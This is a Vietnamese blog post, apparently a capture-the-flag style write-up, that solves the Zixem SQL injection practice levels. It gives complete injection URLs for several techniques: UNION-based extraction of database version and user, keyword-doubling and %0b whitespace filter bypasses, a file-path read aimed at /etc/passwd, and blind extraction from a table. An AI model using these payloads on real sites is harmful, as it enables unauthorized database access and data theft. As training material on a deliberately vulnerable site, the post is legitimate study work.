Write up Zixem SQLi

để hiểu cơ bản về sqli và những trang web hướng đẫn cơ bản tham khảo: https://wordpress.com/post/qteams.wordpress.com/230

level 1 http://www.zixem.altervista.org/SQLi/level1.php?id=1

đây là một level để những người bắt đầu tập luyện

đầu tiên truy vấn xem lỗi

http://www.zixem.altervista.org/SQLi/level1.php?id=1″

Capture.PNG

sau khi xác định được lỗi sqli thì bắt đầu truy vấn. Sử dụng truy vấn order by thì ta tìm đc số cột là 3: http://www.zixem.altervista.org/SQLi/level1.php?id=1 order by 3 — -. Bởi vì nếu truy vấn từ 4 thì báo lỗi

Ở đây đề yêu cầu là tìm được version và user.

Capture.PNG

khi ta union select 1,2,3 —  1,2,3 tương ứng với các cột thì id hiện ra là 1. Như vậy ta truy vấn thay 1= version(), 2= user(). http://www.zixem.altervista.org/SQLi/level1.php?id=1 union select version(),user(),3 –. Nhưng không có gì khác biệt cả. Ta chỉnh id sao cho khác 1 là sẽ ra. Tại sao vậy? nếu muốn biết thì bạn thử các trường hợp id!=1 xem sao. rồi rút ra nhận xét gì đó cho riêng mình. cái này mình không chắc nên không dám chia sẽ :))

VD: http://www.zixem.altervista.org/SQLi/level1.php?id=2.     http://www.zixem.altervista.org/SQLi/level1.php?id=-1

level 2 http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4

ta tiếp tục như level1 là truy vấn: showprofile=4′ thì báo lỗi giờ truy vấn tìm cột. Nhưng không còn như leve1 là: showprofile=4 order by ….. mà giờ phải là: http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4&#8242; order by <số> — -. Tại sao lại là 4′ mà không phải 4 thì đó là cú pháp truy vấn tùy trường hợp nha các bạn :))

(Lưu ý) cái phần ghi chú — ta phải thay bằng — – cái này là để đảm bảo là sau — luôn có ít nhất một khoảng trắng. tìm hiểu thêm về bài write up redtiger 😀

sau khi có được số cột là 4 thì ta truy vấn để tìm ra “số” số này là chỉ cho ta biết cột nào có thể khai thác được trong đó: http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4&#8242; union select 1,2,3,4 — –

Capture.PNG

vậy ta thay tại vị trí 4 là version xem ra không: http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4&#8242; union select 1,2,3,version() — -. Nhưng không ra gì cả, thử thay showprofile=(số khác)  giống level1 xem sao

Capture.PNG

ra các con số của cột rồi đến đây thì ta truy vấn tiếp version(), user() vào các số số xem sao

Capture

ở đây mình truy vấn user(), version() nên chổ username là version của csdl đang dùng nhé

(lưu ý) khi truy vấn thì cần điền đủ số cột vd: http://www.zixem.altervista.org/SQLi/level2.php?showprofile=-4&#8242; union select user(),version(),4,3 — -. ở vị trí cột 3 và 4  có thể điền số hoặc null hoặc thậm chí là user() hoặc version() nhưng không được bỏ trống.

level 3  www.zixem.altervista.org/SQLi/level3.php?item=3

ta sử dụng truy vân như 2 bài trên ta có được số cột trong csdl là 4: http://www.zixem.altervista.org/SQLi/level3.php?item=3&#8242; order by 4 — –

sau đó ta sử dụng: item=3′ union select 1,2,3,4 — –Capture.PNG

vậy là không như mong muốn. Dòng thông báo trên ý là có lỗi trong cú pháp truy vấn SQLi “uni select 1,2,3,4 — -” mình nhập vào là union mà lỗi thông báo là uni. thử them on vào thành onionon select 1,2,3,4 — – và được.

Ở đây chắc bài này dạy chúng ta cách sử dụng câu truy vấn đây mà :))

http://www.zixem.altervista.org/SQLi/level3.php?item=-3 unionon select version(),user(),database(),4 — –

Capture.PNG

level 4 http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7

kiểm tra truy vấn như bình thường ta thấy được ở level này có 5 cột. http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7&#8242; order by 5 — –

và làm tương tự như các truy vấn phía trên thì ta cũng có được kết quả. Nếu hiểu đc 3 level trên thì level này khá dễ dàng phải không nào :))

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=1&#8242; union select version(),user(),3,4,5 — –

Capture.PNG

level 7 (level 5, 6 chắc khó họ mới xếp sau :P)

http://www.zixem.altervista.org/SQLi/level7.php?id=1

ở level này hơn khó nhằn một chút. Chúng ta thử như những level trên đều không hiển thị gì hết. Vậy thì SQLi ở đâu đây? Và đây là một dạng mới đó là lỗi hiển thị trong source code chứ không đơn thuần là ngay trên giao diện nữa. Đoạn code làm chúng ta không thấy được lỗi là đây

Capture

khi đã xác định được đoạn code thì tiếp theo là xác định xem khi truy vấn thì data sẽ hiển thị lên ở đâu. Vậy thì truy vấn thử xem

view-source:http://www.zixem.altervista.org/SQLi/level7.php?id=1&#8242;

Capture

Như vậy thì ta thấy được lỗi hiển thị tại tham số “value”. truy vấn như bình thường ta xác định được số cột là 3.

truy vấn: ?id=-1 union select 1,2,3 — -. ta có được value=’ok2′ nghĩa là hiển thị ra số 2 mà từ những bài trước ta hay tìm

đến đây ta truy vấn: version() và user() ở cột thứ 2 thì ta tìm đc 😀

?id=-1 union select 1,version(),3 — –

Capture

?id=-1 union select 1,user(),3 — –

Capture

level 9 http://www.zixem.altervista.org/SQLi/lvl9.php?id=1

Khi mới vào trang ta được giao ngay nhiệm vụ là hiển thị tập tin theo đường dẫn: /etc/passwd

sau khi thử truy vấn ‘

Capture

sau đó truy vấn order by thì xác định được số cột là 2. tiêp theo truy vấn đủ kiểu thì không ra gì hết :((. để ý tới gọi ý thì phải theo đường dẫn để đến được file password

http://www.zixem.altervista.org/SQLi/lvl9.php?id=3&#8242; union select 1,2 — –

Capture

đây là con số ta cần tìm. Giờ là làm sao để truy vấn đến địa chỉ: /etc/passwd

thông báo lỗi cho ta biết là địa chỉ đường dẫn là: /membri/zixem/SQLi/lvl9.php

vậy thay ở 1 bằng đường dẫn: /membri/zixem/SQLi/etc/passwd  => lỗi

‘/membri/zixem/SQLi/etc/passwd‘ do trong thông báo lỗi include_path=’.:’ =>lỗi

(‘/membri/zixem/SQLi/etc/passwd‘) không được luôn. thử dịch địa chỉ thành (‘/membri/zixem/etc/passwd‘) => hên quá ra rồi :))

http://www.zixem.altervista.org/SQLi/lvl9.php?id=3&#8217; union select (‘/membri/zixem/etc/passwd’) ,2 — –

Capture.PNG

Như vậy là chúng ta truy theo thông báo lỗi mà có thể truy vấn đúng cú pháp

Cách khác đơn giản hơn đó là khi tìm được ra số 1. thì ta thay thế version() hoặc user() vào “lvl9.php?id=-999′ union select version(),2 — -” thì kết quả hiển thị

Capture

Quay lại với những level khó hơn 😐

level 8 http://www.zixem.altervista.org/SQLi/lvl8.php?id=1

như những level khác ta kiểm tra để phá vỡ cấu trúc truy vấn thì thu được lỗi SQLi.  Tiếp theo sử dụng order by để tìm số cột nhưng chỉ có một thông báo duy nhất “Hacking attempt” cho dù số cột có là bao nhiêu đi nữa. 

sau bao lâu tìm hiểu thì biết được đây là lỗi “Bypass” các bạn tham khảo bài viết Bypass từ http://tinyhacker01.blogspot.com/ . Và đây là một số cheat sheet để bypass WAF https://whitehat.vn/threads/bypass-waf-khai-thac-sql-injection.8523/

trong level 8 này. đầu tiên mình thử order by để tìm số cột mà không được. vậy nghĩ đế site đã chặn khoảng trắng trên url. thử thay space=%0b,%a0,%0c

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%0border%0bby%0b4%0b–%0b-

Capture

vậy là lỗi đã xuất hiện như bình thường query tiếp thì có được số cột là 3

lvl8.php?id=1%0bunion%0bselect%0b1,2,3%0b–%0b-

thông báo có nghĩa là sever không hiểu 1,2,3 là cái gì. như vậy là có vấn đề ở union hoặc select 

lvl8.php?id=1%0bUNunionION%0bselect%0b1,2,3%0b–%0b-

Capture

lvl8.php?id=1%0bunion%0bSELselectECT%0b1,2,3%0b–%0b-

Capture.PNG

lỗi ở select và ta chuyển thành SELselectECT.  trong nhiều trường hợp sẽ khác nhau. tùy vào trường hợp bypass

bypass đúng nhưng chưa hiển ra số, thay id !=1 là sẽ ra :))

lvl8.php?id=2%0bunion%0bSELselectECT%0bversion(),user(),3%0b–%0b-

Capture

Như vậy level này chỉ cho ta kĩ thuật bypass cơ bản, còn tùy trường hợp mà ta thử các bypass cho phù hợp với lỗi của site

level 6 http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10

đây là một bài bilnd cơ bản, nhưng phải có kinh nghiệm thì mới làm mọt cách hoàn hỏa đc :))

các bạn có thể tham khảo các khai thác blind cơ bản

https://securityforall.wordpress.com/2012/05/30/sql-injection-tutorials-huong-dan-day-du-ve-sql-injection/

rồi thử truy vấn thử. kết quả truy vấn cuối cùng là như vậy

http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=9999 union select (select concat(id) from teachers limit 1,6),(select teacher from teachers limit 1,1),(select teacher_age from teachers limit 1,1),(select price from teachers limit 1,1) — –

ở đây có lệnh concat() đó là nối chuổi, lệnh limit trong mysql giống như lệnh top() trong sql nhưng có start và finish

 

 

 

 

 

 

 

 

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s